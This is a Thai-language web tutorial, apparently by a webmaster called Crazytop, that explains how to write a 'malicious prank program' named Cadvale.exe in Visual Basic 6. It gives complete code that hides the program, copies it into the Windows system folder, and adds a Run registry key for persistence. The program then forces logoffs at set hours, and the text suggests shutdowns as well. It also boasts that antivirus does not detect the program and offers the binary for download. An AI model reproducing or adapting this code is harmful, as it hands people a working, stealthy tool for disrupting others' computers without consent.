Free Web Site - Free Web Space and Site Hosting - Web Hosting - Internet Store and Ecommerce Solution Provider - High Speed Internet
Search the Web
Programing Mellicious Code เขียนโปรแกรมก่อกวน Cadvale.exe สั่งให้เครื่องล็อกออฟแบบอัตโนมัติด้วย VB
1.ก่อนเริ่มเขียน
1.1ก่อนอื่นคุณต้องไปหาโปรแกรม Visual Basic 6.0 ก่อนเลย
1.2มึความรู้เรื่อง Visual Basic ในขั้นพื้นฐาน
2.เริ่มเขียนโปรแกรม
เปิดวิชวลเบสิกของไมโครซอฟท์ VB 6.0 ขึ้นมาจากนั้นให้ไปที่ File >>> New Project แล้วคลิกเลือกจะมีหน้าต่างให้เรื่องประเภทของโปร
แกรมให้เรื่องเป็น standard.exe แล้วคลิก ok เมื่อคลิกแล้วจะมี ฟอร์มขึ้นมาอันหนึ่ง ลาก Timer ที่เป็นนาฬิกาด้านซ้ายมือมาไว้บนฟอร์ม
จากนั้นตั้งคุณลักษณะต่างๆดังนี้
Form มีชื่อเป็น Form1
Timer มีชื่อเป็น Tmrcheck
เมื่อกำหนดชื่อเรียบร้อยให้ไปที่ Project>>>Add>> Module
กลับมาที่ฟอร์มกันก่อน
2.1ใส่โค้ดให้ฟอร์ม
ดับเบิ้ลคลิกที่ฟอร์มเพื่อไปใส่โค้ดในส่วนของ Form_Load() โค้ดในส่วนนี้จะทำงานเมื่อโปรแกรมถูกเปิด จากนั้นใส่โค้ดตามนี้
Private Sub Form_Load() 'โค้ดด้านล่างจะทำเมื่อโปรแกรมโหลด
Call COPYMY ' เรียกฟักชั่นในโมดูลเพื่อก็อปปี้ตัวเองลงใน c:\windows\system
Tmrcheck.Enabled = True ' กำหนดให้ Timer ใช้งานเป็น True
Tmrcheck.Interval = 2 ' กำหนดความเร็วให้ Timer
App.TaskVisible = False ' ให้โปรแกรมไม่แสดงในส่วนของทาสก์บาร์
App.Title = "Computer Advice" ' ให้ชื่อโปรแกรมในส่วนของไตเติ้ลบาร์
Me.Visible = False 'กำหนดให้โปรแกรมไม่สามารถมองเห็นได้
Call ENTERREGISTRY 'เรียกฟังชั่นที่ใช้ทำ Registryเพื่อให้เรียกโปรแกรมนี้เมื่อเริ่มวินโดว์ทุกครั้ง
End Sub ' จบในส่วนนี้
จากนั้นเราก็จะใส่โค้ดในส่วนของ Form_Unload() โค้ดในส่วนนี้จะทำงานเมื่อโปรแกรมถูกปิด ใส่โค้ดตามข้างล่าง ก็อปปี้แล้ววางได้เลย
Private Sub Form_Unload(Cancel As Integer) ' โค้ดด้านล่างจะทำเมื่อโปรแกรมถูกปิดลง
Call ENTERREGISTRY 'เรียกฟังชั่นที่ใช้ทำ Registry เพื่อให้เรียกโปรแกรมนี้เมื่อเริ่มวินโดว์ทุกครั้ง
Unload Me 'ปิดโปรแกรม
End Sub 'จบในส่วนนี้
สิ้นสุการใส่โค้ดให้ฟอร์มต่อไปมาใส่โค้ดให้ตัว Timer กันดีกว่าครับ ดับเบิ้ลคลิก ที่รูปนาฬิกาเพื่อเ้ข้าไปใส่โค้ดให้ Timer
If Time = "1:00:00" Then ' ถ้าเวลาเท่ากันตีหนึ่งให้เซ็ทตัวแปร i = 0 แล้วแสดงข้อความเตือนแล้วส่งค่าไอไปยังฟังก์ชั่น System
MsgBox "ระบบของคุณกำลังถูกปิด พิมพ์อะำำไรก็ได้",vbCritical - vbOKOnly,"คำเตือน"
Call ExitWindowsEx(EWX_LOGOFF, 0)
ElseIf Time = "2:00:00" Then
MsgBox "ระบบของคุณกำลังถูกปิด พิมพ์อะไรก็ได้",vbCritical - vbOKOnly,"คำเตือน"
Call ExitWindowsEx(EWX_LOGOFF, 0)
ElseIf Time = "3:00:00" Then
MsgBox "ระบบของคุณกำลังถูกปิดตรงนี้ พิมพ์อะไรก็ได้ครับ",vbCritical - vbOKOnly,"คำเตือน"
Call ExitWindowsEx(EWX_LOGOFF, 0)
ElseIf Time = "4:00:00" Then
MsgBox "ระบบของคุณกำลังถูกปิด ตรงนี้พิมพ์อะไรก็ได้ครับ",vbCritical - vbOKOnly,"คำเตือน"
Call ExitWindowsEx(EWX_LOGOFF, 0)
End If
End Sub
ใส่เพิ่มได้แล้วแต่ว่าคุณต้องการให้เวลาใดมีข้อความโชว์เตือนและเมื่อผู้ใช้กดมันก็จะทำการปิดระบบลงแล้วแต่ตั้งไว้ถ้า
เสร็จสำหรับการใส่โค้ดในฟอร์มทั้งหมดลแ้ล้ว
จากนั้นมาเริ่มใส่โปรแกรมในส่วนของ Module กันดีกว่าครับคลิกที่ Module ด้านขวามือ แล้วใส่โค้ดตามนี้
Option Explicit
Private Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Public Const LOCALMACHINE = &H80000002
Public Const EWX_LOGOFF = 0
Private Const REG_SZ = 1
Sub ENTERREGISTRY()
Dim nKey As Long
RegCreateKey LOCALMACHINE, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", nKey
RegSetValueEx nKey, "Cadvale", 0, REG_SZ, "C:\WINDOWS\system\" & "Cadvale.exe", Len("C:\WINDOWS\system\Cadvale.exe")
End Sub
Sub COPYMY()
On Error Resume Next
Dim loc, loc2, locopy, locopy2
loc = App.Path & "\" & App.EXEName & ".exe"
loc2 = App.Path & App.EXEName & ".exe"
locopy = "C:\WINDOWS\system\Cadvale.exe"
FileCopy loc, locopy
FileCopy loc2, locopy
End Sub
แล้วก็เซฟ Project form Module ให้เรียบร้อยนะครับแล้วก็ ไปที่ File>>> Make แล้วก็เซฟเป็น *.exe
3.ภาพรวมของโปรแกรม
เมื่อรันโปรแกรมนี้แล้วโปรแกรมก็จะทำสำเนาตัวเองไปยัง C:\WINDOWS\System แล้วไปเพิ่มรีจิสทรีให้เริ่มโปรแกรมทุกครั้งเมื่อเข้าสู่วิน
โดว์ โปรแกรมจะตรวจสอบเวลาตามที่เราโปรแกรมไว้ ถ้าตรงกับเวลาไหนจะปรากฎ ข้อความเตือน จากนั้น เครื่องก็จะล็อกออฟ การที่ยกเลิกการติด
ตั้งโปรแกรมนี้ต้องไปที่ Task Manager แล้วไปที่แถบ Process แล้วหา Process ที่มีชื่อว่า Cadvale.exe แล้วคลิกขวา End Process แล้วก็เข้าไปที่ C:\WINDOWS\System แล้วก็ลบไฟล์ Cadvale.exe ทิ้งซะ จากนั้นเข้าไปลบ Registry โดยการไปที่
Start>>>Run พิมพ์ว่า regedit แล้วก็ ok เข้าไปที่ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window\Current
Version\Run หาชื่อ Registry ที่มีชื่อว่า Cadvale คลิกขวา Delete ครับ เป็นอันว่ายกเลิกการติดตั้งอย่างสมบูรณ์ อีกอย่างหนึ่งคือโปรแก
มนี้ใช้ได้กับ WINXP เท่านั้นนะครับ
4.การประยุกต์ใช้โปรแกรม
สามารถเขียนโปรแกรมเพื่อสั่งให้ล็อกออฟ ในเวลาที่เรากำหนดไว้ สำหรับคนที่ต้องการให้เป็นชัทดาวน์ก็ใส่โค้ดนี้ไป
shell ("shutdown -s") และรีสตาร์ท shell ("shutdown -r") และถ้าต้องการเปลี่ยนชื่อโปรแกรมก็ต้องเปลี่ยนในโ้ค้ดให้สัมพันธ์กันนะครับ
และก็เพิ่มเติมลูกเล่นอื่นๆได้ครับเช่น ซ่อนทาสก์บาร์ สั่่งปิดเปิด ซีดีรอม อืม ถือว่าเป็นโปรแกรมก่อกวนตัวจริงครับ
5.โปรแกรมสแกนไวรัสตรวจไม่พบ
และข้อดีของโปรแกรมนี้ก็คือตัวป้องกันไวรัสไม่พบว่าไฟล์นี้เป็นไวรัสทำให้โปรแกรมนี้ทำการได้อย่างมีประสิทธิภาพมากขึ้น
6.ไฟล์ประกอบบทความ
สำหรับผู้ที่ยังไม่มี VB ก็ดาวน์โหลดได้ที่นี้ครับ
http://www.mentalis.org/agnet/apiguide.shtml
และสำหรับซอร์สโค้ดและตัวโปรแกรม Cadvale.exe ดาวโหลดได้ที่นี้ครับ
โดย Crazytop เว็บมาสเตอร์